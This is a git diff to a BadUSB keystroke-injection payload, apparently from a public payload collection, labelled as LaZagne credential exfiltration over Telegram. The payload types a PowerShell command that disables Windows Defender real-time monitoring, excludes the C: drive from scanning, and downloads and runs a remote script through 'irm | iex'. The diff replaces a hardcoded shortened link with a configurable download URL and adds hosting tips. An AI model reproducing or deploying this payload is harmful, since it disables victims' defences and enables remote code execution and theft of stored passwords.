diff --git a/payloads/library/exfiltration/Lazagne-Exfil/payload.txt b/payloads/library/exfiltration/Lazagne-Exfil/payload.txt index 2a35987..6c7aceb 100644 --- a/payloads/library/exfiltration/Lazagne-Exfil/payload.txt +++ b/payloads/library/exfiltration/Lazagne-Exfil/payload.txt @@ -7,6 +7,10 @@ REM Version: 1.0 REM Category: Exfiltration REM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads +REM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link) +REM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1 +DEFINE SCRIPT_URL example.download.link/payload.ps1?dl=1 + REM Here you will have to put your telegram bot details DEFINE BOT_TOKEN your-bot-token DEFINE CHAT_ID your-chat-id @@ -14,7 +18,7 @@ DEFINE CHAT_ID your-chat-id DELAY 1500 GUI r DELAY 500 -STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='BOT_TOKEN'; $ci='CHAT_ID'; irm https://t.ly/-qlYd | iex'" +STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='BOT_TOKEN'; $ci='CHAT_ID'; irm SCRIPT_URL | iex'" CTRL-SHIFT ENTER DELAY 1000 ALT y